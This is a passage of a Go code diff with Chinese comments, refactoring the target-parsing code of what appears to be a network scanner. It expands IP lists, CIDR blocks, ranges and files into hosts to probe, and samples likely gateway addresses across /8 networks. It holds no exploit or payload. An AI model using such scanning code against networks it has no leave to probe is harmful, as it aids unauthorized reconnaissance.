LogBase(GetText("host_port_parsed", Ports))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// 解析主机地址
|
// 解析主机地址
|
||||||
hosts = ParseIPs(host)
|
hosts = parseIPList(host)
|
||||||
|
|
||||||
// 从文件加载额外主机
|
// 从文件加载额外主机
|
||||||
if filename != "" {
|
if filename != "" {
|
||||||
fileHosts, err := Readipfile(filename)
|
fileHosts, err := readIPFile(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("[!] 读取主机文件失败: %v\n", err)
|
LogError(GetText("read_host_file_failed", err))
|
||||||
} else {
|
} else {
|
||||||
hosts = append(hosts, fileHosts...)
|
hosts = append(hosts, fileHosts...)
|
||||||
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
|
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理排除主机
|
// 处理需要排除的主机
|
||||||
if len(nohosts) > 0 && nohosts[0] != "" {
|
hosts = excludeHosts(hosts, nohosts)
|
||||||
excludeHosts := ParseIPs(nohosts[0])
|
|
||||||
if len(excludeHosts) > 0 {
|
|
||||||
// 使用map存储有效主机
|
|
||||||
temp := make(map[string]struct{})
|
|
||||||
for _, host := range hosts {
|
|
||||||
temp[host] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 删除需要排除的主机
|
// 去重并排序
|
||||||
for _, host := range excludeHosts {
|
hosts = removeDuplicateIPs(hosts)
|
||||||
delete(temp, host)
|
LogBase(GetText("final_valid_hosts", len(hosts)))
|
||||||
}
|
|
||||||
|
|
||||||
// 重建主机列表
|
|
||||||
var newHosts []string
|
|
||||||
for host := range temp {
|
|
||||||
newHosts = append(newHosts, host)
|
|
||||||
}
|
|
||||||
hosts = newHosts
|
|
||||||
sort.Strings(hosts)
|
|
||||||
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 去重处理
|
|
||||||
hosts = RemoveDuplicate(hosts)
|
|
||||||
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
|
|
||||||
|
|
||||||
// 检查解析结果
|
// 检查解析结果
|
||||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||||
return nil, ParseIPErr
|
return nil, ErrParseIP
|
||||||
}
|
}
|
||||||
|
|
||||||
return hosts, nil
|
return hosts, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPs(ip string) (hosts []string) {
|
// parseIPList 解析逗号分隔的IP地址列表
|
||||||
if strings.Contains(ip, ",") {
|
// 参数:
|
||||||
IPList := strings.Split(ip, ",")
|
// - ipList: 逗号分隔的IP地址列表字符串
|
||||||
var ips []string
|
//
|
||||||
for _, ip := range IPList {
|
// 返回:
|
||||||
ips = parseIP(ip)
|
// - []string: 解析后的IP地址列表
|
||||||
hosts = append(hosts, ips...)
|
func parseIPList(ipList string) []string {
|
||||||
|
var result []string
|
||||||
|
|
||||||
|
// 处理逗号分隔的IP列表
|
||||||
|
if strings.Contains(ipList, ",") {
|
||||||
|
ips := strings.Split(ipList, ",")
|
||||||
|
for _, ip := range ips {
|
||||||
|
if parsed := parseSingleIP(ip); len(parsed) > 0 {
|
||||||
|
result = append(result, parsed...)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else if ipList != "" {
|
||||||
hosts = parseIP(ip)
|
// 解析单个IP地址或范围
|
||||||
|
result = parseSingleIP(ipList)
|
||||||
}
|
}
|
||||||
return hosts
|
|
||||||
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
|
// parseSingleIP 解析单个IP地址或IP范围
|
||||||
func parseIP(ip string) []string {
|
// 支持多种格式:
|
||||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
// - 普通IP: 192.168.1.1
|
||||||
|
// - 简写网段: 192, 172, 10
|
||||||
|
// - CIDR: 192.168.0.0/24
|
||||||
|
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
|
||||||
|
// - 域名: example.com
|
||||||
|
// 参数:
|
||||||
|
// - ip: IP地址或范围字符串
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
func parseSingleIP(ip string) []string {
|
||||||
|
// 检测是否包含字母(可能是域名)
|
||||||
|
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
|
||||||
|
|
||||||
|
// 根据不同格式解析IP
|
||||||
switch {
|
switch {
|
||||||
// 处理常用内网IP段简写
|
|
||||||
case ip == "192":
|
case ip == "192":
|
||||||
return parseIP("192.168.0.0/8")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("192.168.0.0/16")
|
||||||
case ip == "172":
|
case ip == "172":
|
||||||
return parseIP("172.16.0.0/12")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("172.16.0.0/12")
|
||||||
case ip == "10":
|
case ip == "10":
|
||||||
return parseIP("10.0.0.0/8")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("10.0.0.0/8")
|
||||||
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
|
|
||||||
case strings.HasSuffix(ip, "/8"):
|
case strings.HasSuffix(ip, "/8"):
|
||||||
return parseIP8(ip)
|
// 处理/8网段(使用采样方式)
|
||||||
|
return parseSubnet8(ip)
|
||||||
// 处理CIDR格式 (/24 /16 /8等)
|
|
||||||
case strings.Contains(ip, "/"):
|
case strings.Contains(ip, "/"):
|
||||||
return parseIP2(ip)
|
// 处理CIDR格式
|
||||||
|
return parseCIDR(ip)
|
||||||
// 处理域名 - 保留域名格式
|
case isAlpha:
|
||||||
case reg.MatchString(ip):
|
// 处理域名,直接返回
|
||||||
return []string{ip}
|
return []string{ip}
|
||||||
|
|
||||||
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
|
|
||||||
case strings.Contains(ip, "-"):
|
case strings.Contains(ip, "-"):
|
||||||
return parseIP1(ip)
|
// 处理IP范围
|
||||||
|
return parseIPRange(ip)
|
||||||
// 处理单个IP地址
|
|
||||||
default:
|
default:
|
||||||
testIP := net.ParseIP(ip)
|
// 尝试解析为单个IP地址
|
||||||
if testIP == nil {
|
if testIP := net.ParseIP(ip); testIP != nil {
|
||||||
fmt.Printf("[!] 无效的IP地址格式: %s\n", ip)
|
return []string{ip}
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
return []string{ip}
|
LogError(GetText("invalid_ip_format", ip))
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP2 解析CIDR格式的IP地址段
|
// parseCIDR 解析CIDR格式的IP地址段
|
||||||
func parseIP2(host string) []string {
|
// 例如: 192.168.1.0/24
|
||||||
// 解析CIDR
|
// 参数:
|
||||||
_, ipNet, err := net.ParseCIDR(host)
|
// - cidr: CIDR格式的IP地址段
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseCIDR(cidr string) []string {
|
||||||
|
// 解析CIDR格式
|
||||||
|
_, ipNet, err := net.ParseCIDR(cidr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err)
|
LogError(GetText("cidr_parse_failed", cidr, err))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 转换为IP范围并解析
|
// 转换为IP范围
|
||||||
ipRange := IPRange(ipNet)
|
ipRange := calculateIPRange(ipNet)
|
||||||
hosts := parseIP1(ipRange)
|
hosts := parseIPRange(ipRange)
|
||||||
|
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
|
||||||
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
|
|
||||||
return hosts
|
return hosts
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP1 解析IP范围格式的地址
|
// calculateIPRange 计算CIDR的起始IP和结束IP
|
||||||
func parseIP1(ip string) []string {
|
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
|
||||||
ipRange := strings.Split(ip, "-")
|
// 参数:
|
||||||
testIP := net.ParseIP(ipRange[0])
|
// - cidr: 解析后的IPNet对象
|
||||||
var allIP []string
|
//
|
||||||
|
// 返回:
|
||||||
|
// - string: 格式为"起始IP-结束IP"的范围字符串
|
||||||
|
func calculateIPRange(cidr *net.IPNet) string {
|
||||||
|
// 获取网络起始IP
|
||||||
|
start := cidr.IP.String()
|
||||||
|
mask := cidr.Mask
|
||||||
|
|
||||||
// 处理简写格式 (192.168.111.1-255)
|
// 计算广播地址(最后一个IP)
|
||||||
if len(ipRange[1]) < 4 {
|
bcst := make(net.IP, len(cidr.IP))
|
||||||
endNum, err := strconv.Atoi(ipRange[1])
|
copy(bcst, cidr.IP)
|
||||||
if testIP == nil || endNum > 255 || err != nil {
|
|
||||||
fmt.Printf("[!] IP范围格式错误: %s\n", ip)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析IP段
|
// 将网络掩码按位取反,然后与IP地址按位或,得到广播地址
|
||||||
splitIP := strings.Split(ipRange[0], ".")
|
|
||||||
startNum, err1 := strconv.Atoi(splitIP[3])
|
|
||||||
endNum, err2 := strconv.Atoi(ipRange[1])
|
|
||||||
prefixIP := strings.Join(splitIP[0:3], ".")
|
|
||||||
|
|
||||||
if startNum > endNum || err1 != nil || err2 != nil {
|
|
||||||
fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 生成IP列表
|
|
||||||
for i := startNum; i <= endNum; i++ {
|
|
||||||
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
|
|
||||||
} else {
|
|
||||||
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
|
|
||||||
splitIP1 := strings.Split(ipRange[0], ".")
|
|
||||||
splitIP2 := strings.Split(ipRange[1], ".")
|
|
||||||
|
|
||||||
if len(splitIP1) != 4 || len(splitIP2) != 4 {
|
|
||||||
fmt.Printf("[!] IP格式错误: %s\n", ip)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析起始和结束IP
|
|
||||||
start, end := [4]int{}, [4]int{}
|
|
||||||
for i := 0; i < 4; i++ {
|
|
||||||
ip1, err1 := strconv.Atoi(splitIP1[i])
|
|
||||||
ip2, err2 := strconv.Atoi(splitIP2[i])
|
|
||||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
|
||||||
fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
start[i], end[i] = ip1, ip2
|
|
||||||
}
|
|
||||||
|
|
||||||
// 将IP转换为数值并生成范围内的所有IP
|
|
||||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
|
||||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
|
||||||
|
|
||||||
for num := startNum; num <= endNum; num++ {
|
|
||||||
ip := strconv.Itoa((num>>24)&0xff) + "." +
|
|
||||||
strconv.Itoa((num>>16)&0xff) + "." +
|
|
||||||
strconv.Itoa((num>>8)&0xff) + "." +
|
|
||||||
strconv.Itoa((num)&0xff)
|
|
||||||
allIP = append(allIP, ip)
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
|
|
||||||
}
|
|
||||||
|
|
||||||
return allIP
|
|
||||||
}
|
|
||||||
|
|
||||||
// IPRange 计算CIDR的起始IP和结束IP
|
|
||||||
func IPRange(c *net.IPNet) string {
|
|
||||||
// 获取起始IP
|
|
||||||
start := c.IP.String()
|
|
||||||
|
|
||||||
// 获取子网掩码
|
|
||||||
mask := c.Mask
|
|
||||||
|
|
||||||
// 计算广播地址(结束IP)
|
|
||||||
bcst := make(net.IP, len(c.IP))
|
|
||||||
copy(bcst, c.IP)
|
|
||||||
|
|
||||||
// 通过位运算计算最大IP地址
|
|
||||||
for i := 0; i < len(mask); i++ {
|
for i := 0; i < len(mask); i++ {
|
||||||
ipIdx := len(bcst) - i - 1
|
ipIdx := len(bcst) - i - 1
|
||||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||||
}
|
}
|
||||||
end := bcst.String()
|
end := bcst.String()
|
||||||
|
|
||||||
// 返回"起始IP-结束IP"格式的字符串
|
|
||||||
result := fmt.Sprintf("%s-%s", start, end)
|
result := fmt.Sprintf("%s-%s", start, end)
|
||||||
fmt.Printf("[*] CIDR范围: %s\n", result)
|
LogBase(GetText("cidr_range", result))
|
||||||
|
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// Readipfile 从文件中按行读取IP地址
|
// parseIPRange 解析IP范围格式的地址
|
||||||
func Readipfile(filename string) ([]string, error) {
|
// 支持两种格式:
|
||||||
// 打开文件
|
// - 完整格式: 192.168.1.1-192.168.1.100
|
||||||
file, err := os.Open(filename)
|
// - 简写格式: 192.168.1.1-100
|
||||||
if err != nil {
|
// 参数:
|
||||||
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
|
// - ipRange: IP范围字符串
|
||||||
return nil, err
|
//
|
||||||
}
|
// 返回:
|
||||||
defer file.Close()
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseIPRange(ipRange string) []string {
|
||||||
var content []string
|
parts := strings.Split(ipRange, "-")
|
||||||
scanner := bufio.NewScanner(file)
|
if len(parts) != 2 {
|
||||||
scanner.Split(bufio.ScanLines)
|
LogError(GetText("ip_range_format_error", ipRange))
|
||||||
|
return nil
|
||||||
// 逐行处理IP
|
|
||||||
for scanner.Scan() {
|
|
||||||
line := strings.TrimSpace(scanner.Text())
|
|
||||||
if line == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析IP:端口格式
|
|
||||||
text := strings.Split(line, ":")
|
|
||||||
if len(text) == 2 {
|
|
||||||
port := strings.Split(text[1], " ")[0]
|
|
||||||
num, err := strconv.Atoi(port)
|
|
||||||
if err != nil || num < 1 || num > 65535 {
|
|
||||||
fmt.Printf("[!] 忽略无效端口: %s\n", line)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析带端口的IP地址
|
|
||||||
hosts := ParseIPs(text[0])
|
|
||||||
for _, host := range hosts {
|
|
||||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
|
|
||||||
} else {
|
|
||||||
// 解析纯IP地址
|
|
||||||
hosts := ParseIPs(line)
|
|
||||||
content = append(content, hosts...)
|
|
||||||
fmt.Printf("[*] 已解析IP地址: %s\n", line)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查扫描过程中是否有错误
|
startIP := parts[0]
|
||||||
if err := scanner.Err(); err != nil {
|
endIP := parts[1]
|
||||||
fmt.Printf("[!] 读取文件时出错: %v\n", err)
|
|
||||||
return content, err
|
// 验证起始IP
|
||||||
|
if net.ParseIP(startIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", startIP))
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
|
// 处理简写格式 (如: 192.168.1.1-100)
|
||||||
return content, nil
|
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
|
||||||
|
return parseShortIPRange(startIP, endIP)
|
||||||
|
} else {
|
||||||
|
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
|
||||||
|
return parseFullIPRange(startIP, endIP)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// RemoveDuplicate 对字符串切片进行去重
|
// parseShortIPRange 解析简写格式的IP范围
|
||||||
func RemoveDuplicate(old []string) []string {
|
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
|
||||||
// 使用map存储不重复的元素
|
// 参数:
|
||||||
temp := make(map[string]struct{})
|
// - startIP: 起始IP
|
||||||
var result []string
|
// - endSuffix: 结束IP的最后一部分
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseShortIPRange(startIP, endSuffix string) []string {
|
||||||
|
var allIP []string
|
||||||
|
|
||||||
// 遍历并去重
|
// 将结束段转换为数字
|
||||||
for _, item := range old {
|
endNum, err := strconv.Atoi(endSuffix)
|
||||||
if _, exists := temp[item]; !exists {
|
if err != nil || endNum > 255 {
|
||||||
temp[item] = struct{}{}
|
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
|
||||||
result = append(result, item)
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分解起始IP
|
||||||
|
ipParts := strings.Split(startIP, ".")
|
||||||
|
if len(ipParts) != 4 {
|
||||||
|
LogError(GetText("ip_format_error", startIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取前缀和起始IP的最后一部分
|
||||||
|
prefixIP := strings.Join(ipParts[0:3], ".")
|
||||||
|
startNum, err := strconv.Atoi(ipParts[3])
|
||||||
|
if err != nil || startNum > endNum {
|
||||||
|
LogError(GetText("invalid_ip_range", startNum, endNum))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成IP范围
|
||||||
|
for i := startNum; i <= endNum; i++ {
|
||||||
|
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
|
||||||
|
}
|
||||||
|
|
||||||
|
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
|
||||||
|
return allIP
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseFullIPRange 解析完整格式的IP范围
|
||||||
|
// 例如: 192.168.1.1-192.168.2.100
|
||||||
|
// 参数:
|
||||||
|
// - startIP: 起始IP
|
||||||
|
// - endIP: 结束IP
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseFullIPRange(startIP, endIP string) []string {
|
||||||
|
var allIP []string
|
||||||
|
|
||||||
|
// 验证结束IP
|
||||||
|
if net.ParseIP(endIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分解起始IP和结束IP
|
||||||
|
startParts := strings.Split(startIP, ".")
|
||||||
|
endParts := strings.Split(endIP, ".")
|
||||||
|
|
||||||
|
if len(startParts) != 4 || len(endParts) != 4 {
|
||||||
|
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换为整数数组
|
||||||
|
var start, end [4]int
|
||||||
|
for i := 0; i < 4; i++ {
|
||||||
|
var err1, err2 error
|
||||||
|
start[i], err1 = strconv.Atoi(startParts[i])
|
||||||
|
end[i], err2 = strconv.Atoi(endParts[i])
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
|
||||||
|
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return result
|
// 计算IP地址的整数表示
|
||||||
|
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
|
||||||
|
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
|
||||||
|
|
||||||
|
// 检查范围的有效性
|
||||||
|
if startInt > endInt {
|
||||||
|
LogError(GetText("invalid_ip_range", startIP, endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制IP范围的大小,防止生成过多IP导致内存问题
|
||||||
|
if endInt-startInt > 65535 {
|
||||||
|
LogError(GetText("ip_range_too_large", startIP, endIP))
|
||||||
|
// 可以考虑在这里实现采样或截断策略
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成IP范围
|
||||||
|
for ipInt := startInt; ipInt <= endInt; ipInt++ {
|
||||||
|
ip := fmt.Sprintf("%d.%d.%d.%d",
|
||||||
|
(ipInt>>24)&0xFF,
|
||||||
|
(ipInt>>16)&0xFF,
|
||||||
|
(ipInt>>8)&0xFF,
|
||||||
|
ipInt&0xFF)
|
||||||
|
allIP = append(allIP, ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
|
||||||
|
return allIP
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP8 解析/8网段的IP地址
|
// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
|
||||||
func parseIP8(ip string) []string {
|
// 由于/8网段包含1600多万个IP,因此采用采样方式
|
||||||
|
// 参数:
|
||||||
|
// - subnet: CIDR格式的/8网段
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 采样的IP地址列表
|
||||||
|
func parseSubnet8(subnet string) []string {
|
||||||
// 去除CIDR后缀获取基础IP
|
// 去除CIDR后缀获取基础IP
|
||||||
realIP := ip[:len(ip)-2]
|
baseIP := subnet[:len(subnet)-2]
|
||||||
testIP := net.ParseIP(realIP)
|
if net.ParseIP(baseIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", baseIP))
|
||||||
if testIP == nil {
|
|
||||||
fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP)
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取/8网段的第一段
|
// 获取/8网段的第一段
|
||||||
ipRange := strings.Split(ip, ".")[0]
|
firstOctet := strings.Split(baseIP, ".")[0]
|
||||||
var allIP []string
|
var sampleIPs []string
|
||||||
|
|
||||||
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
|
LogBase(GetText("parse_subnet", firstOctet))
|
||||||
|
|
||||||
// 遍历所有可能的第二、三段
|
// 预分配足够的容量以提高性能
|
||||||
for a := 0; a <= 255; a++ {
|
// 每个二级网段10个IP,共256*256个二级网段
|
||||||
for b := 0; b <= 255; b++ {
|
sampleIPs = make([]string, 0, 10)
|
||||||
// 添加常用网关IP
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
|
|
||||||
|
|
||||||
// 随机采样不同范围的IP
|
// 对常用网段进行更全面的扫描
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
|
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
|
// 对于每个选定的第二段,采样部分第三段
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
|
for _, secondOctet := range commonSecondOctets {
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
|
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
|
// 添加常见的网关和服务器IP
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
|
||||||
|
|
||||||
|
// 随机采样不同范围的主机IP
|
||||||
|
fourthOctet := randomInt(2, 253)
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
|
// 对其他二级网段进行稀疏采样
|
||||||
return allIP
|
samplingStep := 32 // 每32个二级网段采样1个
|
||||||
}
|
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
|
||||||
|
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
|
||||||
// RandInt 生成指定范围内的随机整数
|
// 对于采样的网段,取几个代表性IP
|
||||||
func RandInt(min, max int) int {
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
|
||||||
// 参数验证
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
|
||||||
if min >= max || min == 0 || max == 0 {
|
}
|
||||||
return max
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 生成随机数
|
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
|
||||||
return rand.Intn(max-min) + min
|
return sampleIPs
|
||||||
|
}
|
||||||
|
|
||||||
|
// readIPFile 从文件中按行读取IP地址
|
||||||
|
// 支持两种格式:
|
||||||
|
// - 每行一个IP或IP范围
|
||||||
|
// - IP:PORT 格式指定端口
|
||||||
|
// 参数:
|
||||||
|
// - filename: 包含IP地址的文件路径
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
// - error: 读取和解析过程中的错误
|
||||||
|
func readIPFile(filename string) ([]string, error) {
|
||||||
|
// 打开文件
|
||||||
|
file, err := os.Open(filename)
|
||||||
|
if err != nil {
|
||||||
|
LogError(GetText("open_file_failed", filename, err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
var ipList []string
|
||||||
|
scanner := bufio.NewScanner(file)
|
||||||
|
scanner.Split(bufio.ScanLines)
|
||||||
|
|
||||||
|
// 逐行处理
|
||||||
|
lineCount := 0
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
|
continue // 跳过空行和注释行
|
||||||
|
}
|
||||||
|
|
||||||
|
lineCount++
|
||||||
|
|
||||||
|
// 处理IP:PORT格式
|
||||||
|
if strings.Contains(line, ":") {
|
||||||
|
parts := strings.Split(line, ":")
|
||||||
|
if len(parts) == 2 {
|
||||||
|
// 提取端口部分,处理可能的注释
|
||||||
|
portPart := strings.Split(parts[1], " ")[0]
|
||||||
|
portPart = strings.Split(portPart, "#")[0]
|
||||||
|
port, err := strconv.Atoi(portPart)
|
||||||
|
|
||||||
|
// 验证端口有效性
|
||||||
|
if err != nil || port < 1 || port > 65535 {
|
||||||
|
LogError(GetText("invalid_port", line))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析IP部分并与端口组合
|
||||||
|
hosts := parseIPList(parts[0])
|
||||||
|
for _, host := range hosts {
|
||||||
|
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
|
||||||
|
}
|
||||||
|
LogBase(GetText("parse_ip_port", line))
|
||||||
|
} else {
|
||||||
|
LogError(GetText("invalid_ip_port_format", line))
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 处理纯IP格式
|
||||||
|
hosts := parseIPList(line)
|
||||||
|
ipList = append(ipList, hosts...)
|
||||||
|
LogBase(GetText("parse_ip_address", line))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查扫描过程中的错误
|
||||||
|
if err := scanner.Err(); err != nil {
|
||||||
|
LogError(GetText("read_file_error", err))
|
||||||
|
return ipList, err
|
||||||
|
}
|
||||||
|
|
||||||
|
LogBase(GetText("file_parse_complete", len(ipList)))
|
||||||
|
return ipList, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// excludeHosts 从主机列表中排除指定的主机
|
||||||
|
// 参数:
|
||||||
|
// - hosts: 原始主机列表
|
||||||
|
// - nohosts: 需要排除的主机列表(可选)
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 排除后的主机列表
|
||||||
|
func excludeHosts(hosts []string, nohosts []string) []string {
|
||||||
|
// 如果没有需要排除的主机,直接返回原列表
|
||||||
|
if len(nohosts) == 0 || nohosts[0] == "" {
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析排除列表
|
||||||
|
excludeList := parseIPList(nohosts[0])
|
||||||
|
if len(excludeList) == 0 {
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用map存储有效主机,提高查找效率
|
||||||
|
hostMap := make(map[string]struct{}, len(hosts))
|
||||||
|
for _, host := range hosts {
|
